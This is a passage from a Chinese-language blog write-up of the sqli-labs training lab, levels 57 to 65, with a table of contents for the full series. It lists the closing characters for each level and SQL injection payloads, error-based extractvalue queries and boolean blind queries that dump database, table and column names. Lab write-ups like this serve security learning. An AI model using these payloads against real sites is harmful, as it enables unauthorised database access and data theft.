1.闭合符是双引号

1
?id=1"--+

payload和54差不多

Less-58

1.闭合符是单引号

1
?id=1'--+

2.联合注入用不了,试试报错注入

payload

1
2
3
4
5
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='auvv95rynx'),0x7e))--+

Less-59

1.没有闭合符

payload和58差不多

Less-60

1.闭合符是”)

1
?id=1")--+

2.payload与58差不多

Less-61

1.闭合符是’))

1
?id=1'))--+

2.payload与58差不多

Less-62

1.闭合符是’)

1
?id=1')--+

2.这关没有报错,试试盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
爆数据库名长度
?id=1') and length((select database()))=10--+

爆数据库名
?id=1') and ascii(substr((select database()),1,1))=99

爆表名长度
?id=1') and length((select group_concat(table_name) from information_schema.tables where table_schema='challenges'))=10--+

爆表名
?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),2,1))=53--+
说明表名第一个字符是5
…………

3.可以用脚本和sqlmap

Less-63

1.闭合符是单引号

1
/?id=1'--+

2盲注

Less-64

1.闭合符是))

1
/?id=1))--+

2.还是用盲注

Less-65

1.闭合符是”)

1
/?id=1")--+

2.继续盲注

Author: syifna

Link: http://syifna.github.io/2025/07/07/sqli-labs/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
刷题记录
NextPost >
RCE-labs
CATALOG
  1. 1. Less-1 联合注入–单引号字符型注入
  2. 2. Less-2 联合注入–数字型注入
  3. 3. Less-3 联合注入–单引号变形字符型注入
  4. 4. Less-4 联合注入–双引号变形字符型注入
  5. 5. Less-5 布尔盲注
  6. 6. Less-6
  7. 7. Less-7
  8. 8. Less-8
  9. 9. Less-9 时间盲注
  10. 10. Less-10
  11. 11. Less-11
  12. 12. Less-12
    1. 12.1. 报错注入
  13. 13. Less-13
  14. 14. Less-14
  15. 15. Less-15
  16. 16. Less-16
  17. 17. Less-17
  18. 18. Less-18 User Agent注入
  19. 19. Less-19 Referer注入
  20. 20. Less-20 cookie注入
  21. 21. Less-21
  22. 22. Less-22
  23. 23. Less-23 过滤了注释符的注入
  24. 24. Less-24 二次注入
  25. 25. Less-25 过滤了or,and 的注入
  26. 26. Less25a
  27. 27. Less-26 过滤了空格和注释符的注入
  28. 28. Less-26a
  29. 29. Less-27
  30. 30. Less-27a
  31. 31. Less-28
  32. 32. Less-28a
  33. 33. Less-29
  34. 34. Less-30
  35. 35. Less-31
  36. 36. Less-32 宽字节注入
  37. 37. Less-33
  38. 38. Less-34
  39. 39. Less-35
  40. 40. Less-36
  41. 41. Less-37
  42. 42. Less-38 堆叠注入
  43. 43. Less-39
  44. 44. Less-40
  45. 45. Less-41
  46. 46. Less-42
  47. 47. Less-43
  48. 48. Less-44
  49. 49. Less-45
  50. 50. Less-46 order by 注入
  51. 51. Less-47
  52. 52. Less-48
  53. 53. Less-49
  54. 54. Less-50
  55. 55. Less-51
  56. 56. Less-52
  57. 57. Less-53
  • challenges
    1. 1. Less-54
    2. 2. Less-55
    3. 3. Less-56
    4. 4. Less-57
    5. 5. Less-58
    6. 6. Less-59
    7. 7. Less-60
    8. 8. Less-61
    9. 9. Less-62
    10. 10. Less-63
    11. 11. Less-64
    12. 12. Less-65